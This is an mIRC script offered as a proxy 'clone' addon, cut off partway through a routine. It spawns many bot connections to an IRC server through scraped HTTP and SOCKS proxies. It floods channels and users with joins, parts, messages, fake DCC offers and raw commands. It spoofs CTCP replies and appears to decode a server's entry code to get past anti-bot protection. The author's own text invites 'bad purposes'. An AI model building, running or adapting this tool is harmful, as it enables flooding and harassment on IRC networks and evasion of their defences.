Proxy Clone Addon

clone proxy

Proxy clone addon irc proxy sokma

Alias Clone {
  If ($Dialog(Clone)) { Dialog -v Clone }
  Else { Dialog -md Clone Clone }
}

dialog Clone {
  title "Clone"
  size -1 -1 577 512
  option pixels
  tab "Ayarlar", 75, 8 8 559 463
  tab "Botlar/Islemler", 76
  tab "Proxy Listesi", 97
  tab "Hakkinda", 90
  box "Ayarlar", 1, 16 40 540 420, tab 75
  edit "irc.sunucu.com", 2, 66 51 232 20, tab 75 autohs
  text "Sunucu", 3, 24 56 34 16, tab 75
  edit "6667", 4, 300 51 48 20, tab 75 limit 0
  text "Protokol", 5, 23 100 42 16, tab 75
  combo 6, 66 96 80 68, tab 75 size drop
  box "Connect", 7, 24 281 332 171, tab 75
  box "Nick, ident ve realname ayarlari", 8, 25 121 332 160, tab 75
  text "Baglanti Sayisi:", 9, 149 100 74 16, tab 75
  edit "", 10, 223 96 44 20, tab 75 limit 0
  radio "Rastgele", 11, 32 136 64 20, tab 75
  radio "Liste:", 12, 32 160 54 20, tab 75
  radio "Diger:", 13, 32 184 54 20, tab 75
  edit "", 14, 88 160 196 20, tab 75 disable autohs
  edit "", 15, 88 184 196 20, tab 75 disable limit 0
  button "&Yukle", 16, 288 160 58 20, tab 75 disable
  text "Mode:", 17, 127 140 31 16, tab 75
  edit "+iwTx", 18, 160 137 70 20, tab 75
  edit "", 19, 32 312 316 132, tab 75 autohs autovs multi return
  text "IRC Raw Komutlari (Baglandiginda islenecek):", 20, 32 296 225 16, tab 75
  box "Proxy/Socks Listesi", 26, 360 56 188 396, tab 75
  edit "mobil", 85, 88 208 260 21, tab 75 autohs limit 0
  text "Host:", 27, 368 80 26 16, tab 75
  text "Port:", 28, 368 104 26 16, tab 75
  edit "", 29, 400 78 140 20, tab 75 limit 0
  edit "", 30, 400 102 140 20, tab 75 limit 0
  button "&Ekle", 31, 368 128 82 20, tab 75
  button "&Sil", 32, 456 128 82 20, tab 75
  button "&Dosya Yukle", 33, 368 152 82 20, tab 75
  list 34, 368 176 172 238, tab 75 size
  button "&Listeyi Sil", 35, 368 418 170 24, tab 75
  check "CTCP Tekrari", 81, 273 98 84 20, tab 75
  text "Real Name:", 82, 32 211 56 16, tab 75
  button "&Clipboard", 83, 456 152 82 20, tab 75
  box "Botlara islem yaptirmak icin bu alani kullaniniz.", 36, 176 39 380 420, tab 76
  box "Nick Listesi", 37, 16 40 156 356, tab 76
  button "&Gir", 41, 184 62 67 20, tab 76 disable
  edit "", 42, 256 62 84 21, tab 76 autohs
  button "&Cik", 43, 184 86 67 20, tab 76 disable
  edit "", 44, 256 86 84 21, tab 76 autohs
  edit "", 45, 344 86 204 21, tab 76 autohs
  button "&Gir/Cik", 46, 184 110 67 20, tab 76 disable
  edit "", 47, 256 110 84 21, tab 76 autohs
  edit "", 48, 344 110 204 21, tab 76 autohs
  button "&Mesaj", 49, 184 142 67 20, tab 76 disable
  edit "", 50, 256 142 84 21, tab 76 autohs
  edit "", 51, 344 142 204 21, tab 76 autohs
  button "&Notice", 52, 184 166 67 20, tab 76 disable
  edit "", 53, 256 166 84 21, tab 76 autohs
  edit "", 54, 344 166 204 21, tab 76 autohs
  button "&Describe", 55, 184 190 67 20, tab 76 disable
  edit "", 56, 256 190 84 21, tab 76 autohs
  edit "", 57, 344 190 204 21, tab 76 autohs
  button "&CTCP", 58, 184 222 67 20, tab 76 disable
  edit "", 59, 256 222 84 21, tab 76 autohs
  combo 60, 344 222 204 76, tab 76 edit size drop
  button "&DCC Send", 61, 184 246 67 20, tab 76 disable
  edit "", 62, 256 246 84 21, tab 76 autohs
  edit "", 63, 344 246 204 21, tab 76 autohs
  button "&DCC Chat", 64, 184 270 67 20, tab 76 disable
  edit "", 65, 256 270 84 21, tab 76 autohs
  button "&Nick", 66, 184 294 67 20, tab 76
  radio "Liste:", 68, 256 320 54 20, tab 76
  radio "Diger:", 69, 256 344 54 20, tab 76
  radio "Rastgele", 67, 256 296 66 20, tab 76
  button "&Yukle", 72, 480 320 67 20, tab 76 disable
  edit "", 70, 312 320 164 21, tab 76 disable autohs
  edit "", 74, 256 374 292 77, tab 76 autohs autovs multi return
  button "&Raw", 73, 184 374 67 20, tab 76 disable
  edit "", 71, 312 344 164 21, tab 76 disable limit 0
  list 38, 24 56 140 308, tab 76 size extsel
  text "Icraat :d", 39, 24 370 46 16, tab 76
  combo 40, 72 368 92 60, tab 76 size drop
  box "Istatistikler", 21, 16 400 156 60, tab 76
  text "Total Connections:", 23, 24 436 92 16, tab 76
  text "Connected Clones:", 22, 24 420 92 16, tab 76
  text "0", 24, 120 420 42 16, tab 76
  text "0", 25, 120 436 42 16, tab 76
  edit "", 98, 24 56 260 21, tab 97 autohs
  button "&URL Ekle", 99, 288 56 67 20, tab 97
  list 100, 24 80 332 340, tab 97 hsbar size
  box "URL Listesi", 101, 16 40 348 420, tab 97
  box "Proxies/Socks", 102, 368 40 188 316, tab 97
  list 103, 376 56 172 244, tab 97 size
  button "&Ver", 104, 465 306 84 20, tab 97
  text "Completed:", 105, 368 392 58 16, tab 97
  text "0", 106, 432 408 122 16, tab 97
  button "&Listeye Bak", 107, 368 432 187 25, tab 97
  button "&Proxy/Socks Listesini Goruntule", 109, 376 328 173 20, tab 97
  text "Total Sites:", 110, 368 408 58 16, tab 97
  text "0", 111, 432 392 122 16, tab 97
  text "Socks/Proxies Taken:", 112, 368 368 106 16, tab 97
  text "0", 113, 480 368 74 16, tab 97
  button "&Sil", 108, 376 306 84 20, tab 97
  button "&Secileni Sil", 114, 24 432 163 20, tab 97
  button "&Hepsini Sil", 115, 192 432 163 20, tab 97
  button "&Bagla", 77, 8 480 83 25
  button "&Baglanti Kes", 78, 96 480 83 25
  button "&Cikis", 79, 490 480 75 25
  button "&Baglanan IP/Portlar", 80, 368 480 115 25
  button "&Socketleri Kapat", 84, 184 480 87 25
  edit "sifre yoksa bos birak", 86, 66 74 283 20, tab 75 autohs limit 0
  edit "Mobil", 88, 272 137 75 20, tab 75 limit 9
  text "Identd:", 87, 233 140 38 16, tab 75
  text "Sifre", 89, 25 76 34 16, tab 75
  link "Aytac", 91, 391 9 90 17,
  link "", 94, 487 9 79 17,
  edit "0", 96, 192 260 17 20, tab 75
  text "Baglanirken agresif baglanmamak icin bu bolumu 1 yapin.         Eger sunucuda koruma yoksa 0 yapiniz.", 116, 32 230 319 29, tab 75 center
  text "Baglanti gecikmesi", 95, 104 262 88 17, tab 75
  text "saniye.", 117, 211 262 39 17, tab 75
  box "/CLONE", 118, 18 34 541 102, tab 90
  text "Arkadaslar kullanimi basit olan proxy clone addonudur. Kotu amaclariniza alet edebilirsiniz. Cunku gunumuzde artik bu addonun onune gecilebilir. Dilediginiz gibi kullanabilirsiniz. Yapmaniz gerekenler basittir. Hersey goz onunde zaten.", 119, 64 50 440 42, tab 90 center
  text "Yinede kullanmayi beceremeyenler bana ulasabilirler. skype: coder.08 ", 120, 64 95 440 16, tab 90 center
  text "Aytac |  | ", 121, 64 114 440 16, tab 90 center
}

On *:Dialog:Clone:Init:*: {
  Did -a $DName 6 Normal
  Did -a $DName 6 Proxy
  Did -a $DName 6 Sock
  Did -c $DName 6 2
  Did -a $DName 40 Hepsi
  Did -a $DName 40 Secilen(ler)
  Did -c $DName 40 1
  Did -a $DName 60 PING
  Did -a $DName 60 TIME
  Did -a $DName 60 VERSION
  Did -c $DName 11
  Did -c $DName 67
}

On *:Dialog:Clone:Edit:*: {
  If ($Did == 42) {
    If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
    Else { Did -b $DName 41 }
  }
  If ($Did == 44) {
    If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
    Else { Did -b $DName 43 }
  }
  If ($Did == 47) {
    If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
    Else { Did -b $DName 46 }
  }
  If ($Did == 50) {
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
    Else { Did -b $DName 49 }
  }
  If ($Did == 51) {
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
    Else { Did -b $DName 49 }
  }
  If ($Did == 53) {
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
    Else { Did -b $DName 52 }
  }
  If ($Did == 54) {
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
    Else { Did -b $DName 52 }
  }
  If ($Did == 56) {
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
    Else { Did -b $DName 55 }
  }
  If ($Did == 57) {
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
    Else { Did -b $DName 55 }
  }
  If ($Did == 59) {
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
    Else { Did -b $DName 58 }
  }
  If ($Did == 60) {
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
    Else { Did -b $DName 58 }
  }
  If ($Did == 62) {
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
    Else { Did -b $DName 61 }
  }
  If ($Did == 63) {
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
    Else { Did -b $DName 61 }
  }
  If ($Did == 65) {
    If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
    Else { Did -b $DName 64 }
  }
  If ($Did == 74) {
    If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
    Else { Did -b $DName 73 }
  }
  If ($Did == 70) {
    If ($Did(70)) { Did -e $DName 66 }
    Else { Did -b $DName 66 }
  }
  If ($Did == 71) {
    If ($Did(71)) { Did -e $DName 66 }
    Else { Did -b $DName 66 }
  }
}

Alias Clone.Error { Var %E = $Input($1-,o,Clone) }

On *:Dialog:Clone:SClick:*: {
  If ($Did == 31) {
    If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) }
    Else { Clone.Error Invalid Sock/Proxy or Port }
  }
  If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel }
  If ($Did == 33) {
    Var %F = $SFile($mIRCDir,Clone,Import)
    If (%F) {
      Var %I = 1
      While ($Read(%F,%I)) {
        Var %F1 = $Read(%F,%I)
        If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
        If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
        Else { Did -a $DName 34 %F1 }
        Inc %I
      }
    }
  }
  If ($Did == 83) {
    Var %I = 1
    While ($CB(%I)) {
      Var %F1 = $CB(%I)
      If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
      If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
      Else { Did -a $DName 34 %F1 }
      Inc %I
    }
  }
  If ($Did == 35) { Did -r $DName 34 }
  If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
  If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
  If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
  If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
  If ($Did == 68) {
    Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
    If ($Did(70)) { Did -e $DName 66 }
    Else { Did -b $DName 66 }
  }
  If ($Did == 69) {
    Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
    If ($Did(71)) { Did -e $DName 66 }
    Else { Did -b $DName 66 }
  }
  If ($Did == 16) {
    Var %F = $SFile($mIRCDir,Clone,Import)
    If (%F) { Did -ra $DName 14 %F }
  }
  If ($Did == 72) {
    Var %F = $SFile($mIRCDir,Clone,Import)
    If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
  }
  If ($Did == 60) {
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
    Else { Did -b $DName 58 }
  }
  if ($did == 91 ) { run mailto:ircdhelp@gmail.com }
  if ($did == 94 ) { run http://www.ircalem.com }
  If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) }
  If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) }
  If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) }
  If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) }
  If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) }
  If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+ }
  If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+ }
  If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }
  If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
  If ($Did == 66) { Clone.Do $Did(40) NICK }
  If ($Did == 73) {
    Var %I = 1
    While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I }
  }
  If ($Did == 77) {
    If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list }
    ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
    ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
    ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
    ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
    ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
    ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
    Else { .TimerClone.Go $Did(10) $Did(Clone,96) Clone.Go }
  }
  If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
  If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
  If ($Did == 80) { Clone.IPs }
  If ($Did == 84) {
    Var %I = 1
    While ($Sock(Clone.*,%I)) {
      If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) }
      Inc %I
    }
    Did -ra Clone 25 $Sock(Clone.*,0)
  }
  If ($Did == 99) {
    Did -a $DName 100 $Did(98)
    Did -ra $DName 106 $Calc($Did(106) + 1)
  }
  If ($Did == 104) {
    Var %F = $Input(Enter Filename:,ego,Clone)
    If (%F) {
      Var %I = 1
      While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I }
    }
  }
  If ($Did == 107) {
    Did -ra $DName 111 0
    Var %I = 1
    While ($Did(100,%I)) {
      SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80
      Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47)
      Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47))
      Inc %I
    }
  }
  If ($Did == 108) { Did -r $DName 103 }
  If ($Did == 109) {
    Did -r $DName 34
    Var %I = 1
    While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I }
  }
  If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel }
  If ($Did == 115) { Did -r $DName 100 }
}

On *:SockOpen:CloneGet.*: {
  SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0
  SockWrite -n $SockName Accept: */*
  SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
  SockWrite -n $SockName Connection: Keep-Alive
  SockWrite -n $SockName
  Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]
  Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
}

On *:SockRead:CloneGet.*: {
  SockRead %R
  If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {
    Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32)
    Did -ra Clone 113 $Calc($Did(Clone,113) + 1)
  }
  Unset %R
}

Alias SockQueue {
  If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }
  Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }
}

On *:SockClose:CloneGet.* {
  If ($Var(%Clone.Queue.*,1)) {
    SockOpen $Var(%Clone.Queue.*,1).Value
    Unset $Var(%Clone.Queue.*,1)
  }
  Did -ra Clone 111 $Calc($Did(Clone,111) + 1)
}

#Clone.DNS off
On *:DNS: {
  If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go }
  Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) }
  .Disable #Clone.DNS
  Halt
}
#Clone.DNS End

Alias Clone.Do {
  If ($1 == Hepsi) {
    Var %I = 1
    While ($Sock(Clone.*,%I)) {
      If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PRIVMSG $3 : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $4- | SockWrite -nt $Sock(Clone.*,%I) PART $3- }
      ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }
      ;      Elseif ($2 == privmsg) { sockwrite -nt $Sock(Clone.*,%I) privmsg $3 $+( ,$rand(0,99), ) $4- $+( ,$rand(0,99), ) }
      ElseIf ($2 == NICK) {
        If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick }
        If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }
        If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
      }
      Else { SockWrite -nt $Sock(Clone.*,%I) $2- }
      Inc %I
    }
  }
  If ($1 == Secilen(ler)) {
    Var %I = 1
    While ($Did(Clone,38,%I)) {
      If ($Did(Clone,38,%I).State == 1) {
        Var %J = 1
        While ($Sock(Clone.*,%J)) {
          If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {
            If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- }
            ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }
            ElseIf ($2 == NICK) {
              If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick }
              If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }
              If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) }
            }
            Else { SockWrite -nt $Sock(Clone.*,%J) $2- }
          }
          Inc %J
        }
      }
      Inc %I
    }
  }
}

Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } }

On *:SockOpen:Clone.*: {
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
  If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
  If (Clone.Proxy.* iswm $SockName) {
    SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1
    SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
    Clone.Conn.User $SockName
  }
  If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
  Did -ra Clone 25 $Sock(Clone.*,0)
}

On *:SockRead:Clone.*: {
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
  If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) {
    SockRead &Read
    If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
      Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
      Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
      BSet &Clone.Send 1 5 1 0 1 %Serv %Port
      SockWrite $SockName &Clone.Send
    }
    If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
  }

  SockRead %Clone.Read
  If (%Clone.Read) { ;Echo %Clone.Read }
  Tokenize 32 %Clone.Read
  Unset %Clone.Read
  If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) {
    SockClose $SockName
  }
  ;echo -s : $sockname >> $1-
  If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
  If ($2 == PRIVMSG || $2 == NOTICE) && ($Did(Clone,81).State == 1) {
    If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
    If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }
    ;If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) VERSION mIRC v6.35 Khaled Mardam-Bey }
    if $4 == :VERSION {
      SockWrite -nt $sockname NOTICE $botfnick($1) VERSION mIRC v6.35 Khaled Mardam-Bey
    }
  }
  If ($2 == 001) {
    Var %I = 1
    While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
    If ($3) { Did -a Clone 38 $3 }
    Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
    SockWrite -nt $SockName Mode $3 $Did(Clone,18)
    SockMark $SockName $3
  }
  if ($2 == 006) {
    giriskod $sockname $right($4-,-1)
  }
  If ($2 == 433) {
    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
      If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
      If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
      If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
    }
    Else {
      If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
      If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName }
      If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
    }
  }
  If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
    Var %I = 1
    While ($Did(Clone,38,%I)) {
      If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) }
      Inc %I
    }
    SockMark $SockName $Remove($3,:)
  }
  Did -ra Clone 25 $Sock(Clone.*,0)
}

Alias Clone.Ignore {
  Var %I = 1
  While ($Did(Clone,96,%I)) {
    If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) }
    Inc %I
  }
}

On *:SockClose:Clone.*: {
  If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
    Var %I = 1
    While ($Did(Clone,38,%I)) {
      If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I }
      Inc %I
    }
  }
  Did -ra Clone 25 $Sock(Clone.*,0)
  Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
}

Alias Clone.Nick { Return $Sock($1).Mark }

Alias Clone.Sock {
  Var %I = 1
  While ($Sock(Clone.*,%I)) {
    If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) }
    Inc %I
  }
}

Alias Clone.RandNick {
  Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
  While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
  Return %N
}

Alias Clone.Conn.User {
  If ($Did(Clone,11).State == 1) {
    SockWrite -nt $1 PASS $Did(Clone,86)
    SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))
    SockWrite -nt $1 NICK $Clone.RandNick
  }
  If ($Did(Clone,12).State == 1) {
    Var %N = $Gettok($Read($Did(Clone,14)),1,32)
    SockWrite -nt $1 PASS $Did(Clone,86)
    SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N)
    SockWrite -nt $1 NICK %N
  }
  If ($Did(Clone,13).State == 1) {
    SockWrite -nt $1 PASS $Did(Clone,86)
    SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
    SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
  }
}

Alias Clone.Go {
  If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
  :Again
  Var %R = $Rand(0,9999999)
  If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
  If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
  Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) }
  Inc %Clone.List
  Did -ra Clone 25 $Sock(Clone.*,0)
}

Dialog -l Clone.IPs {
  Title "Connected IP Ports"
  Size -1 -1 254 360
  Option Pixels
  Edit "", 1, 8 8 236 317, Read Multi
  Button &Refresh List, 2, 8 332 235 20
}

On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }

On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }

Alias Clone.IPs {
  If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
  Did -r Clone.IPs 1
  Var %I = 1
  While ($Sock(Clone.*,%I)) {
    If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) {
      Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port
    }
    Inc %I
  }
}
.type/clone

alias botfnick {
  return $remove($gettok($1,1,33),:)
}
alias giriskod {
  if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }
  if ( $2- != 0,0##########0,0##########0,0########## ) {
    hadd -m kod satir $+ %kodsatir $2-
    inc %kodsatir
  }
  if ( %kodsatir == 8 ) { kod $1 }
}

alias kod {
  hadd -m kod0 satir1 0,0##4######0##
  hadd -m kod0 satir2 0,0#4##0####4##0#
  hadd -m kod0 satir3 0,0#4##0####4##0#
  hadd -m kod0 satir4 0,0#4##0####4##0#
  hadd -m kod0 satir5 0,0#4##0####4##0#
  hadd -m kod0 satir6 0,0#4##0####4##0#
  hadd -m kod0 satir7 0,0##4######0##

  hadd -m kod1 satir1 0,0###4###0####
  hadd -m kod1 satir2 0,0##4####0####
  hadd -m kod1 satir3 0,0#4#####0####
  hadd -m kod1 satir4 0,0####4##0####
  hadd -m kod1 satir5 0,0####4##0####
  hadd -m kod1 satir6 0,0####4##0####
